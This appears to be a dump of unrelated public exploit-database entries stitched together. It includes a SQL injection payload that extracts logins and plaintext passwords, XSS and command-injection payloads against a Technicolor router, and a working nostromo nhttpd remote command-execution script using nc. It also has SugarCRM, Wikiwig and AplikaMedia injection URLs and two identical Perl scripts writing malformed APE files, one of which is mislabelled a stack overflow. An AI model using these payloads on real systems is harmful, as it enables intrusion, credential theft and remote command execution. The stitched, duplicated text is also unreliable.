Commit bf02311

# Exploit Title: Advertise With Pleasure! (AWP) <= 6.6 - SQL Injection vulnerability

# Date: 12/02/2014

# Author: Robert Cooper (robertc[at]areyousecure.net)

# Software Link: http://www.guruperl.net/products/awppro/

# Tested on: [Linux/Windows 7]

# Vulnerable Parameter: group_id=

##############################################################

PoC:

http://server/cgi/client.cgi?act=list_zone&group_id=1'

http://server/cgi/client.cgi?act=list_zone&group_id=1 union all select 1,2,group_concat(id,0x3a,login,0x3a,password,0x0a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from awp_ad_client--

(Passwords are stored in plaintext)

##############################################################

http://www.areyousecure.net

Product: Wireless N ADSL 2/2+ Modem Router

Firmware Version : V2.05.C29GV

Modem Type : ADSL2+ Router

Modem Vendor : Technicolor

Model: DT5130

Bugs:

1- Unauth Xss - CVE-2014-9142

user=teste&password=teste&

userlevel=15&refer=%2Fnigga.html&failrefer=/basicauth.cgi?index.html?failrefer=<script></script><script>alert('TESTE')</script>"%0A&login=Login&password=pass&refer=/index.html&user=teste&userlevel=15&login=Login

2- Arbitrari URL redirect - CVE-2014-9143

failrefer=http://blog.dclabs.com.br&login=Login&password=

pass&refer=/index.html&user=1&userlevel=15

3- Command Injection in ping field - CVE-2014-9144

setobject_token=SESSION_CONTRACT_TOKEN_TAG%3D0123456789012345&setobject_ip=s1.3.6.1.4.1.283.1000.2.1.6.4.1.0%3Dwww.google.com.br|`id`&setobject_ping=i1.3.6.1.4.1.283.1000.2.1.6.4.2.0%3D1&getobject_result=IGNORE

--

Ewerson Guimaraes (Crash)

Pentester/Researcher

DcLabs / Ibliss Security Team

www.dclabs.com.br / www.ibliss.com.br

source: http://www.securityfocus.com/bid/46880/info

nostromo nhttpd is prone to a remote command-execution vulnerability because it fails to properly validate user-supplied data.

An attacker can exploit this issue to access arbitrary files and execute arbitrary commands with application-level privileges.

nostromo versions prior to 1.9.4 are affected.

if [ $# -lt 3 ]; then

echo "Usage: $(basename $0) HOST PORT COMMAND..."

exit 2

HOST="$1"

PORT="$2"

shift 2

( \

echo -n -e 'POST /..%2f..%2f..%2fbin/sh HTTP/1.0\r\n'; \

echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \

echo "$@ 2>&1" \

) | nc "$HOST" "$PORT" \

| sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'

source: http://www.securityfocus.com/bid/46864/info

Trend Micro WebReputation API is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass the filter included in the download mechanism. Successful exploits may cause victims to download malicious files onto affected computers.

This issue affects WebReputation API 10.5; other versions may also be vulnerable.

http://www.example.com/dist/nmap-5.51-setup.exe?

source: http://www.securityfocus.com/bid/46868/info

VLC Media Player is prone to a denial-of-service vulnerability.

Successful exploits may allow attackers to crash the affected application, denying service to legitimate users.

VLC Media Player 1.0.5 is vulnerable; other versions may also be affected.

system("title KedAns-Dz");

system("color 1e");

system("cls");

print "\n\n";

print " |===========================================================|\n";

print " |= [!] Name : VLC media player v1.0.5 (Monkey's File) =|\n";

print " |= [!] Exploit : Local Crash PoC =|\n";

print " |= [!] Author : KedAns-Dz =|\n";

print " |= [!] Mail: Ked-h(at)hotmail(dot)com =|\n";

print " |===========================================================|\n";

sleep(2);

print "\n";

my $PoC = "\x4D\x41\x43\x20\x96\x0f\x00\x00\x34\x00\x00\x00\x18\x00\x00\x00"; # APE Header

open(file , ">", "Kedans.ape"); # Evil File APE (16 bytes) 4.0 KB

print file $PoC;

print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! ";

close(file);

source: http://www.securityfocus.com/bid/46885/info

SugarCRM is prone to an information-disclosure vulnerability because it fails to restrict access to certain application data.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

http://www.example.org/sugarcrm/index.php?module=Accounts&action=ShowDuplicates

http://www.example.org/sugarcrm/index.php?module=Contacts&action=ShowDuplicates

source: http://www.securityfocus.com/bid/46888/info

Wikiwig is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Wikiwig 5.01 is vulnerable; other versions may also be affected.

http://www.example.com/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E

source: http://www.securityfocus.com/bid/46896/info

AplikaMedia CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/page_info.php?id_brt=[Sql_injection]

source: http://www.securityfocus.com/bid/46887/info

Monkeyâ??s Audio is prone to a stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.

Successfully exploiting this issue allows attackers to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will result in a denial-of-service condition.

system("title KedAns-Dz");

system("color 1e");

system("cls");

print "\n\n";

print " |======================================================|\n";

print " |= [!] Name : Monkey's File Audio (.ape) All Players =|\n";

print " |= [!] Exploit : Stack Buffer Overflow =|\n";

print " |= [!] Author : KedAns-Dz =|\n";

print " |= [!] Mail: Ked-h(at)hotmail(dot)com =|\n";

print " |======================================================|\n";

sleep(2);

print "\n";

my $PoC = "\x4D\x41\x43\x20\x96\x0f\x00\x00\x34\x00\x00\x00\x18\x00\x00\x00"; # APE Header (16 bytes)

open(file , ">", "Kedans.ape"); # Evil File APE (4.0 KB)

print file $PoC;

print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! ";

close(file);